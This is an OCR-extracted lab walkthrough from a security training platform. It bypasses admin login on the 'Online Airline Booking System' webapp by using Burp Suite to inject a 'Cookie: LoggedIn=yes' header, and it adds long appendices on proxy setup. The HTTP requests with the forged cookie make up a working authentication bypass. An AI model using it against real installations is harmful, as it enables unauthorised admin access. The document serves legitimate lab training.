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Name

Online Airline Booking System

URL

https://www.attackdefense.com/challengedetails?cid=438

Type

Real World Webapps : Broken Authentication

Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your

further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.

Solution:

Step 1: Inspect the web application.

NAME OF AIRLINE

€ C e

x|+

O & ogwauelblyute73hseidocbfa. mumbaix. attackdefenselabs.com

- @ N @ ®

NAME OF AIRLINE

--Mai | About
::Main I
“Baokin Welcome to NAME OF AIRLINE. The friendly airline that gives you quality of service at a low, low price. We run many flights to all over the world. To see what flights
::Fﬁigm Dgetails we have on offer click on flight details on the menu on the left.
Admin (
Help | Latest Offers!
e | [blank]

[blank]

[blank]

[blank]

| Sponsor

’7.

Powered by:0ABS v1.7
Coded by Mark Gaadall

Step 2: Search on google “Online Airline Booking System exploit” and look for publicly available

exploits.
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https://www.attackdefense.com/challengedetails?cid=438

G Online Airline Booking Sy= X | =+

(— - C @ © | & https:/Awwvegoogle.comysearch?client=firefox-b-d&o=0nline+Airline + Booking + Syste m+exploit
GO..',gle Online Airline Booking System exploit Q
Q Al B images [) videos [ nNews & Shopping | More Settings ~ Tools

About 2,19,00,000 results (0.39 seconds)

Online Airline Booking System - Multiple Vulnerabilities - PHP ...
hitps:/fiwww.exploit-db.com » exploits

Jan 5, 2016 - Exploit Title : Online Airline Booking System multiple vulnerabhilities Author :
WICS Date : 05/1/2016 Software Link ...

Flaws in Amadeus' airline booking system made it easy to ...
https:/ftechcrunch.com » 2019/01/15 > amadeus-airline-booking-vulnerabi... =

Jan 15, 2019 - Flaws in Amadeus' airline booking system made it easy to change ... affected
by the vulnerability, but nobhody from Air France, British Airways, ...

The exploit db link contains the steps to be followed to exploit the vulnerability.

Exploit DB Link: https://www.exploit-db.com/exploits/39167
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https://www.exploit-db.com/exploits/39167

% Online Airline Booking Sy= X ‘ ==

<~ C @ © & heops/iwwexploit-db.com/exploits/39167

Online Airline Booking System

i)

i

- Multiple Vulnerabilities

B
B EDB-ID: CVE: Author: Type: Platform: Date:
39167 MANISH TANWAR WEBAPPS PHP 2016-01-05
E Er
EDB Verified: x Exploit: £ / {} Vulnerable App: & -
- \
Q M
| L] e
*
Exploit Title : Online Airline Booking System multiple vulnerabilities
= Author : WICS
Date . 085/1/2016
Software Link : http://sourceforge.net/projects/oabs/
Affected Version: All
Overview:
Step 3: Navigate to admin panel by clicking on the “::Admin” button.
NAME OF AIRLINE X | i
£« ¢ @ © | & oguBuelblyute73hseidochf8. mumbaix.attackdefenselabs.com/admin/index.php -

NAME OF AIRLINE

::Main ! Subfm

::Booking BLCOIE:

::Flight Details . :

 Adin To login fill in the form below correctly...
:Help

Enter your User Name

Enter you Password
Login

Powered by:OABS v1.T
Coded by Mark Goodall
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Step 4: Reload the page and Intercept the GET request with burp suite.

Check Appendix to learn how to configure Burp Suite.

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Pr.oxy__T Intruder T Repeater T Seguencer T Decoder TComparer T Extender T Project options TUser options ]

J Ir_ltg_r_cgpt_I HTTP history TWebSockets history T Options 1

f Requestto hitp://0qwBuelblyute73hseidochf8 mumbaix. attackdefenselabs.com: 80 [172.105.50.75]

l Forward J l Drop J [-ir'rter[e_p't is on ] l Action J

J.Rﬂu THeaders THex 1

GET fadmin/index.php HTTR/1.1

Host: GgwBuelblyute73hseidochf&. mumbaix . attackdefenselabs.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70,0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://Ogwsuelblyute?3hseidochfs. mumbaix . attackdefenselabs. coms/admnin/admnin, php
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Step 5: Modify the request and add the LoggedIn cookie required to bypass authentication
Cookie: Loggedin=yes

Burp Project Intruder Repeater Window Help

[ Dashboard TTﬂrget TPr.oxy__T Intruder T Repeater T Sequencer T Decoder T Comparer TExtender TProject options TUser options ]

J Irjtg_r_cgpi_;,T HTTP history TWebSockets histary T Optiens ]

f Requestto http:/f0qwdBuelblyute73hseidochfd mumbaix. attackdefenselabs. com: 80 [172.105.50.75]

[ Forward J l Drop J [_in'terce_p't is on ] [ Action J

J.Raw T Headers THex ]

GET fadmin/index.php HTTR/1.1

Host: OgwBuelblyute73hseidochf8.mumbaix.attackdefenselabs.com

User-Agent: Mozillas5.0 (X¥11: Linux x86_864; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://OgwBuelblyute?3hseidochf8. mumbaix. attackdefenselabs.com/adnin/admin. php
Cookie: LoggedIn=yes

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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Step 6: Click on “forward” button and keep intercepting the subsequent requests.

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget TPI’.O)Q."__T Intruder T Repeater T Sequencer T Decoder T Comparer TExtender TP‘rnject options T User options ]

J Interzept T HTTP history TWebSnckets history T Options ]

f Request to http:/f0gwiuelblyute73hseidochf8. mumbaix. attackdefenselabs.com:80 [172.105.50.75]

l Forward J l Drop J [_in'ter[e_ptis on ] l Action J

_[ Raw T Headers T Hex ]

GET fadmin/admin.php HTTP/1.1

Host: OgwSuelblyute?3hseidochfS. mumbaix. attackdefenselabs, com

User-Agent: Mozilla/s5.0 (¥11: Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/shtml,application/xhtml+xml,application/xml;g=0.9,%/%;0=0.8
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://OgwBuelblyute73hseidochfd mumbaix, attackdefenselabs. comfadnin/admin. php
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Step 7: Modify the request and inject the cookie mentioned in step 5.

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget TPr.m-gf__T Intruder T Repeater T Sequencer T Decoder T Comparer TExtender T Project options T User options 1

_[ Intercept T HTTP history TwebSockets history T Options ]

f Requestto http://0gwBuelblyute73hseidochbf8. mumbaix. attackdefenselabs.com: 80 [172.105.50.75]

[ Forward J l Drop J [_in'ter:eptis on ] l Action J

_[ Raw T Headers T Hex ]

GET fadmin/admin.php HTTR/1.1

Host: Ogw8uelblyute73hseidochf&. mumbaix. attackdefenselabs. com

User-Agent: Mozillas5.0 (¥11; Linux x86 64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml, applicationsxml;q=0.9, *%/*;g=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://OgwBuelblyute73hseidochf8 mumbaix.attackdefenselabs. com/admin/admin. php
Cookie:; LoggedIn=yes

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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Step 8: Click on “forward” button and check the browser.

NAME OF AIRLINE x ‘ e
=y © & ogwsuelblyute73hseidochf8. mumbaix.attackdefenselabs.com/admin/admin. php QIR+ 4 In @ ®
NAME OF AIRLINE
Main | About
~Booking Welcome yes
“Flight Details You have logged in successfully. You can now change seitings below. Click here fo logout.
=Admin
Help | Add Latest Offer to front page of site
Only the last 4 Offers are displayed on the main page
New Offer: -
Add
| AddiDeletelView Flights
Prev Add Next Page: 1 of 1 Records: 0
[ Number Dest Datetime | Passb | Passf Passe | Cost | Priceb Pricef Pricee Senior | Child
Prev Add Next Page: 1 of 1 Records: 0
| Customer Maintainance
Because this information is sensitive it is displayed on a separate page. You should only use customer maintainance to remove old customers from flights that have
departed. This is a good idea if the system slows when the database becomes too big - View
| Advertisement
To view and add adverts to the system click here

Authentication was bypassed successfully.

References:

1. Online Airline Booking System (http://sourceforge.net/projects/oabs/)
2. Online Airline Booking System - Multiple Vulnerabilities
(https://www.exploit-db.com/exploits/39167)
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Appendix

Appendix A: Configuration for Windows OS
A.1 Google Chrome with Burp Suite
A.2 Mozilla Firefox with Burp Suite

Appendix B: Configuration for Kali OS
B.1 Google Chrome with Burp Suite
B.2 Mozilla Firefox with Burp Suite

Appendix C: Configuration for FoxyProxy Standard plugin
C.1 FoxyProxy on Google Chrome with Burp Suite
C.2 FoxyProxy on Mozilla Firefox with Burp Suite
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Appendix A
A.1 Google Chrome with Burp Suite (Windows OS)
Step 1: Open Google Chrome and navigate to the URL given below.

URL: chrome://settings

B Setiings x BB

€& > C @ Chrome | chrome//settings

= Settings

People

Get Google smarts in Chrome
Sync and personalize Chrome across your devices

Sync and Google services
Chrome name and picture

Import bookmarks and settings

Autofill
©r Passwords
B Payment methods

Q@  Addresses and more

Google Chrome Settings page will appear.

Step 2: Search for “proxy” in the search box.
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0 Sertings x o+

€ 3> C ® Chrome | chromey//settings/?search=proxy

= Settings Q,  proxy

System

Continue running background apps when Google Chrome is closed

Use hardware acceleration when available

Open proxy settings

$ §

&

Step 3: Upon clicking on “Open proxy settings”, Windows “Internet Properties” settings dialog

box will appear. Click on “LAN settings” button.

€ Internet Properties ? bt
General Security Privacy Content Connections  programs  Advanced
To set up an Internet connection, dick Setup |
Setup.
Dial-up and Virtual Private Network settings
Add...
| Add VEN...
Remave...
Choose Settings if you need to configure a proxy Settings
server for a connection.
Local Area Metwork (LAN) settings
LAN Settings do not apply to dial-up connections, |_ LAN settings
Choose Settings above for dial-up settings.
|
. 0K ! | Cancel | | Apply
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Step 4: Select the checkbox “Use a proxy server for your LAN (These settings will not apply to

dial-up or VPN connections)”. And enter “127.0.0.1” and “8080” in “Address” textbox and “Port”
textbox respectively.

& Local Area Network (LAN) Settings >

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[ ] Automatically detect settings
|:| IUse automatic configuration script

Address

Proxy server

;i_.lse a proxy server for your LAN (These settings will not apply to
dial-up or YPN connections).

Click “OK” on the “Local Area Network (LAN) Settings” dialog box and close the “Internet
Properties” dialog box.

Step 5: Start Burp suite.

Burp Suite Community Edition v1.7.36 - Temporary Project

Burp Intruder Repeater Window Help

JT&M] Proxy I Spider [ Scanner ] Intruder ] Repeater 1 Sequencer I Decoder [ Comparer I Extender 1 Project options [ User options ] Alerts |
i_ Sitemap | Scope |

Filter: Hiding not found items, hiding CSS, image and general binary content, hiding 4xx responses, hiding empty folders

Host | Method URL F
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Step 6: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080”.

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Targei [M,]-Spider I Scanner ] lmmderT Repeater ] Sequencer [ Decoder ] Comparer [ E:ﬂerderT Project options .]-Useroplinm-l Alerts I
[ Intercept ] HTTP history l WebSockets history [mm]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HTTP requests from your browser You will need to configure your browser to use one of the listeners ¢

| Add | |Running |Interface \Isible  Redirect | Certificate
— ) 127.0.0.1:8080 Parhost

Remove

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export t

| Import/ export CA certificate | | Regenerate CA cerfificate |

All the HTTP request made by Google Chrome will be intercepted by Burp Suite.
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A.2 Mozilla Firefox with burp suite (Windows OS)

Step 1: Open Mozilla Firefox and navigate to the URL given below.

URL: about:preferences

*I-Dp‘t'mns
> ¢

¥ General

1@ Home

Q Search

& Privacy & security

s Sync

& Extensions & Themes

@ FEirefox Su ppeort

General

Startup
| Restore previous session
Warmn you when quitting the browser
| Always check if Firefox is your default browser

& Firefox is not your default browser

Tabs
/| Crl+Tab cycles through tabs in recently used order
Z| Open links in tabs instead of new windows
|| Warn you when closing multiple tabs
| When you open a link in a new tab, switch to it immediately

i| Show tab previews in the Windows taskbar

Language and Appearance

Fonts and Colors

Default font  Default (Times New Roman) >  Size

Language

<

©J Firefox  about:preferences

| o |- nd in Optichs |

Make Default...

- Advanced...

Colors...

Choose the languages used to display menus, messages, and notifications from Firefox.

English (United States) -

Choose your preferred language for displaying pages
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Step 2: Scroll down to the bottom of the page and click on “Settings” button under “Network
Settings” section.

| (— = @ & © Firefox  aboutpreferences#general
| 0 Find in Options |
-l:f General ( _ Check for updates but let you choose to install them
Q Home @ This setting will apply to all Windows accounts and Firefox profiles using this installation of
Firefox.

Q Search

n Privacy & Security

|Z| Use a background service to install updates

|Z| Automatically update search engines

S Sync
Performance
|Z| Use recommended performance settings Learn more
These settings are tailored to your computer's hardware and operating system.
Browsing
|| Use autoscroliing
|Z| Use smooth scrolling
|Z| Show a touch keyboard when necessary
|:| Always use the cursor keys to navigate within pages
|:| Search for text when you start typing
|Z| Recommend extensions as you browse Learn more
|Z| Recommend features as you browse Learn more
Network Settings
#  Extensions & Themes Configure how Firefox connects to the internet. Learn more Settings...

@  Firefox Support

©PentesterAcademy.com

www.attackdefense.com




Connection Settings

Configure Proxy Access to the Internet
( No proxy

'-'.’__::f' Auto-detect proxy settings for this network

-Zi::} Use system proxy settings

Step 3: Enter “127.0.0.1” and “8080” in “HTTP Proxy” textbox and “Port” textbox respectively.

-’\l' éManuaI proxy configuration

HTTP Progy‘ 127.0.0.1

[pont] a080 |

|:\ Use this proxy server for all protocols

SSL Proxy|

o)

ETP Proxy ‘

o)

S0OCKS Host ‘

on o)

() SOCKSv4 (@) SOCKSy5

f Automatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

|:| Do not prompt for authentication if password is saved
|:| Proxy DNS when using SOCKS v5

| | Enable DNS over HTTPS

’l, Use default (https://mozilla.cloudflare-dns.com/dns-query)

Custom

Click on the OK button.
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Step 4: Start Burp suite.

'] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

LI%] Proxy T Spider T Scanner ] Intruder I Repeater I Sequencer I Decoder [ Comparer T Extender ] Project options I User options ] Alerts |
ia@m; Scope

Filter: Hiding not found items,; hiding CSS, image and general binary content;, hiding 4xx responses, hiding emply folders

Host |Method | URL F

Step 5: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

.! Burp Swite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target [ngy] Spider I Scanner ] Intruderll Repeater 1 Sequencer [ Decoder l Comparer [ Extender l Project options ].User uplimsJ Alerts l
[ Intercept ] HTTP history ] WebSockets history Lm,]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HT TP requests from your browser You will need to configure your browser to use one of the listeners &

| Add | Running | Interface | Invisible Redirect | Certificate
] &) 127.0.0.1:8080 Per-host
Edit
FI— [ J
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export #

| Import/ export CA certificate | | Regenerale CA cerlificate |

All the HTTP request made by Mozilla Firefox will be intercepted by Burp Suite.
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Appendix B
B.1 Google Chrome with Burp Suite (Kali OS)
Step 1: Open Google Chrome and navigate to the URL given below.

URL: chrome://settings

J £ Settings x { +

€ > C ® Chrome | chrome:/settings

= Settings

People

Get Google smarts in Chrome
Sync and personalize Chrome across your devices

Sync and Google services
Chrome name and picture

Import bookmarks and settings

Autofill
Or Passwords
B Payment methods

Q@  Addresses and more

Google Chrome Settings page will appear.

Step 2: Search for “proxy” in the search box.

Turn on sync

»

I
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| & Settings x  +

€ > C ® Chrome | chrome://settings/?search=proxy

= Settings

Q,  proxy [ x]

System

Continue running background apps when Google Chrome is closed

Use hardware acceleration when available

Open proxy settings &

Step 3: Upon clicking on “Open proxy settings”, The “Networks” settings window will appear.
Click on Network Proxy option.

Q| Settings
T Wi-Fi

3 Bluetooth

(5]

Background

Notifications

»

Search

Region & Language

Universal Access

Online Accounts

E ¢ © B »

Privacy
«§ Sharing
{» Sound

[& Power

55 Network

Network @ o0
Wired =
Connected - 1000 Mb/s —@ ¥
VPN ar
Not set up
Network Proxy Off | i
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Step 4: Enter “127.0.0.1” in “HTTP Proxy” textbox and enter 8080 as port.

Network Proxy (>}
() Automatic
(=) Manual
() Disabled
HTITP Proxy | 127.0.0.1 ‘ 8080 - + ‘
HITPS Proxy | I
ETP Proxy ‘ ] [ o + l
Socks Host ‘ \ [ 0 + ‘

Ignore Hosts ‘ localhost, 127.0.0.0/8, ::1 ‘

Close the dialog box.
Step 5: Start Burp suite.

Burp Suite Community Edition v1.7.32 - Temporary Project [- IO !
Burp Intruder Repeater Window Help

_J'[ﬁmgt Proxy | Spider TScanner Tlntruder TRepeater TSequencer IDecoder TComparer TExtender TProiect options TUser options TAIerts 1
Site map | Scope

[ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders IL”J

'Host |Method | URL |Params |Status 4| Length |

Step 6: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".
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Burp Suite Community Edition v1.7.32 - Temporary Project
Burp Intruder Repeater Window Help
{Target LM Spider I Scanner I Intruder TRepeater I Sequencer T Decoder T Comparer I Extender TProject options W

Intercept | HTTP history | WebSockets history | Opt

EJ Proxy Listeners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your brows

| Add | Running |Interface Invisible | Redirect | Certificate
T. & 127.0.0.1:8080 Per-host

Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connection
other tools or another installation of Burp.

All the HTTP/HTTPS request made by Google Chrome will be intercepted by Burp Suite.

©PentesterAcademy.com

www.attackdefense.com




B.2 Mozilla Firefox with burp suite (Kali OS)
Step 1: Open Mozilla Firefox and navigate to the URL given below.

URL: about:preferences

-

Preferences - Mozilla Firefox

J -ﬁ Preferences x '~\+

€  ©Firefox | about:preferences

Most Visited v

[ General General

Startup
Always check if Firefox is your default browser

Firefox is not your default browser
When Firefox starts:| Show my home page
Home Page: file:///usr/share/kali-defaults/web/homepage.html
Use Current Page Use Bookmark...

Downloads
® Savefilesto @@ Downloads

Always ask me where to save files

Tabs
Ctrl+Tab cycles through tabs in recently used order

¥ Open new windows in a new tab instead

When | open a link in a new tab, switch to it immediately

Q Search

Make Default

-

Restore to Default

Browse...

Step 2: Click on “Advanced” tab on the left panel and then click on “Settings” button under

“Network” tab.
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Preferences - Mozilla Firefox

}-"# Preferences x|+

€ ) Firefox | about:preferencesttadvanced

Most Visited v

Advanced

LB

General Data Choices Network Update Certificates

Il

Connection
Configure how Firefox connects to the Internet

Cached Web Content

Your web content cache is currently using 23.9 MB of disk space

A
o P
8 <

(s

Override automatic cache management

>

Advanced 350

Limit cache to MB of space

¢ ||Q Search

Settings...

Clear Now

Step 3: Enter “127.0.0.1” and “8080” in “HTTP Proxy” textbox and “Port” textbox respectively.

Connection Settings

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings

>

@® Manual proxy configuration:

HTTP Proxy: 127.0.0.1 Port
Use this proxy server for all protocols
SSL Proxy: Port:
FTP Proxy: Port:
SOCKS Host: Port:
SOCKS v4 @ SOCKS yv5
No Proxy for:
localhost, 127.0.0.1
Example: .mozilla.org, .net.nz, 192.168.1.0/24
Help Cancel

8080 =
A
I
I

OK
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Step 4: Start Burp suite.

Burp Suite Community Edition v1.7.32 - Temporary Project Qe O |
Burp Intruder Repeater Window Help

jTA{m Proxy | Spider TScanner Tlntruder TRepeater TSequencer IDecoder TComparer TExtender TProject options TUser options IAIerts ]

jﬁitemap I Scope

[ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders IL:J

Host |Method | URL |Params |Status |Length |

Step 5: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

Burp Suite Community Edition v1.7.32 - Temporary Project
Burp Intruder Repeater Window Help

Target |}.Aﬁgm ] Spider | Scanner | Intruder | Repeater | Sequencer IDecoder TComparer IExtender TProject options W
Intercept | HTTP history |WebSacket5 history | Options

EJ Proxy Listeners

L°J Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your brows

| Add | Running | Interface | Invisible | Redirect | Certificate
"~ Edit & 127.0.0.1:8080 Per-host

>
Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connection
other tools or another installation of Burp.

All the HTTP request made by Mozilla Firefox will be intercepted by Burp Suite.
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Appendix C

C.1 FoxyProxy on Google Chrome with Burp Suite
Step 1: Installing FoxyProxy.
FoxyProxy Standard plugin for Google Chrome can be installed from the URL given below:

URL:
https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfminjonogaaifnjlfn
p?hi=en

After installing FoxyProxy, a small fox icon will appear on the right side of the address bar.

Step 2: Click on the FoxyProxy icon and click on Options.

= 4
* @ | @
Use proxies based on their pre-defined patterns and pricrities
“ Use proxy Default for all URLs
|  Disable FoxyProxy =
Options

I
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Step 3: Click on the “Add New Proxy” Button.

£ Settings - Customize fonts

X @ FoxyProxy options X o+

C ™ FoxyProxy Standard | ch

//ge jonogaaiflfnp,

Proxies

Global Settings
Import/Export
About

Proxy mode: | Disable FoxyProxy

Proxies

Enabled  Color  FIoXY

Name Proxy Notes

Hostor P
Address

Port

SOCKS
proxy?

SOCKS
Version

Auto PAC
URL

These are the settings
that are used when no
patterns match an URL

v . Default

Please Donate

Buy Proxy Service

5

Add New Proxy

Step 4: Enter “127.0.0.1” in “Host or IP Address” textbox and enter “8080” in Port textbox.
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FoxyProxy - Proxy settings

General Proxy Details URL Patterns

) Direct internet connection (no proxy)

® pManual Proxy Configuration
Help! Where are settings for HTTF, SSL, FTP, Gopher, and SOCKS?

Host or IP Address |127.0.0.1

| Port 8080

[ SOCKS proxy? () SOCKS vd/da ® SOCKS v5

[ save Login Credentials @)

) Automatic proxy configuration URL

View

¥ Notify me about proxy auto-configuration file loads

¥ Notify me about proxy auto-configuration file errors

Click on the Save button.
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2 Settings - Customize fonts X @ FoxyProxy options X+

C W FoxyProxy Standard | ch

//ge jonogasifnilfnp/opti HtabProxies
Proxy mode: | Disable FoxyProxy v
Proxy Host or IP SOCKS SOCKS
Enabled  Golor riame. Proxy Notes AL Port proxy> Nirion
v . 127.0.0.1:8080 127.00.1 8080 5

These are the settings
v . Default that are used when no 5
patterns match an URL

Proxies

Global Settings
Import/Export
About

Please Donate Buy Proxy Service

The configured proxy will appear in the proxies table.

Step 5: Enable the proxy.

Click on the FoxyProxy icon and select the option “Use proxy 127.0.0.1:8080 for all URLs”

Use proxies based on their pre-defined patterns and priorities
« Use proxy 127.0.0.1:8080 for all URLs
Use proxy Default for all URLs

Disable FoxyProxy

Options

The FoxyProxy icon will change its color (In this case it is blue).

©PentesterAcademy.com

* 9 :

www.attackdefense.com



Step 6: Start Burp suite.

'] Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

LI%] Proxy T Spider T Scanner ] Intruder I Repeater I Sequencer I Decoder [ Comparer T Extender ] Project options I User options ] Alerts |
ia@m; Scope

Filter: Hiding not found items,; hiding CSS, image and general binary content;, hiding 4xx responses, hiding emply folders

Host |Method | URL F

Step 7: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080".

.! Burp Swite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target [ngy] Spider I Scanner ] Intruderll Repeater 1 Sequencer [ Decoder l Comparer [ Extender l Project options ].User uplimsJ Alerts l
[ Intercept ] HTTP history ] WebSockets history Lm,]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HT TP requests from your browser You will need to configure your browser to use one of the listeners &

| Add | Running | Interface | Invisible Redirect | Certificate
] &) 127.0.0.1:8080 Per-host
Edit
FI— [ J
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export #

| Import/ export CA certificate | | Regenerale CA cerlificate |

All the HTTP/HTTPS request made by Google Chrome will be intercepted by Burp Suite.
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C.2 FoxyProxy on Mozilla Firefox with Burp Suite

Step 1: Installing FoxyProxy.
FoxyProxy Standard plugin for Mozilla Firefox can be installed from the URL given below:

URL.: https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

After installing FoxyProxy, a small fox icon will appear on the right side of the address bar.

IN @

Step 2: Click on the FoxyProxy icon and click on Options.

N & @

&,{) FoxyProxy

Use proxy Default for all URLs (ignore patterns)
+ Turn Off FoxyProxy (Use Firefox Settings)

Options
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https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

Step 3: Click on the add button on the left panel

4-4250-847b-106d9a0 X ISR

xtension (FoxyProxy Standard) =~ moz-extension://d73a6ee9-0334-4a50-847b-f06d9a022466/proxies.html e ﬂ

@ Add
1 petete Al !'/ FOXyProxy
n{%ﬁ Export Turn Off FoxyProxy (Use Firefox Settings)

1

maen Import

E Log

@ What's My IP?

Synchronize settings: o ?

@ Deiault

:f‘;? Del Browsing
Data

? About

Step 4: Enter “127.0.0.1” in “IP Address, DNS name, server name” textbox and enter “8080” in
Port textbox.

0334-4a50-247b-106d% X [

i— Extension (FoxyProxy Standard) moz-extension://d73a6ee9-0334-4a50-847b-f06d9a022466/add-edit-proxy.htm

Proxy Type & Title or Description (optional)
HTTP
Color IP address, DNS name, server name #

127.00.1

Add whitelist pattern to match all URLs Port #

8080
Do not use for localhost and
intranet/private IP addresses Username (optional)

Help

Password (optional) <

Click on the Save button.
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)-B4Th-f06d0:" X% [

ion (FoxyProxy Standard) moz-extension://d73a6ee9-0334-4a50-B47b-f06d9a022466/proxies.html

'5,, Delete All —@ Foxyproxy

s 4 Export Turn Off FoxyProxy (Use Firefox Settings) Synchronize seltings:

¢ mport
: @ 127.0.01

=| Log

&9 what's My IP? =2

e

27 Del Browsing
Data

? About

The proxy will appear in the proxies table.
Step 5: Enable the proxy.

Click on the FoxyProxy icon and select the option “Use proxy 127.0.0.1:8080 for all URLs
(ignore patterns)”

};\j’) FoxyProxy

Use proxy Default for all URLs (ignore patterns)
Turn Off FoxyProxy (Use Firefox Settings)

The FoxyProxy icon will change its color (In this case it is green).
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Step 6: Start Burp suite.

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

i}'ﬂiﬁh] Proxy I Spider I Scanner ] Intruder I Repeater 1 Sequencer I Decoder [ Comparer I Extender ] Project options [ User options ] Alerts |
| sitemap | scope |

Filter: Hiding not found items, hiding CSS, image and general binary content, hiding 4xx responses, hiding emply folders

Host |Method | URL F

Step 7: Navigate to “Options” tab under “Proxy” tab and verify that the “running” checkbox is
selected for the interface “127.0.0.1:8080”

Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater Window Help

[Target [Bm;y] Spider 1 Scanner ] Imruder.] Repeater I Sequencer [ Decoder ] Comparer [ Extender ] Project options .]-User uplinnsj Alerts l
[ Intercept ] HTTP history l WebSockets history Lm,]

i] Proxy Listeners

\EJ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners ¢

| Add | |Running |Interface Invisible | Redirect | Centificate
=== o] 127.0.0.1:8080 Per-host
Edit
TE— [ 3
Remove |

Each installation of Burp generates its own CA cerlificate that Proxy listeners can use when negoliating SSL conneclions. You can import or export t

| Import/ export CA certificate | | Regenerate CA cerfificate |

All the HTTP/HTTPS request made by Mozilla Firefox will be intercepted by Burp Suite.
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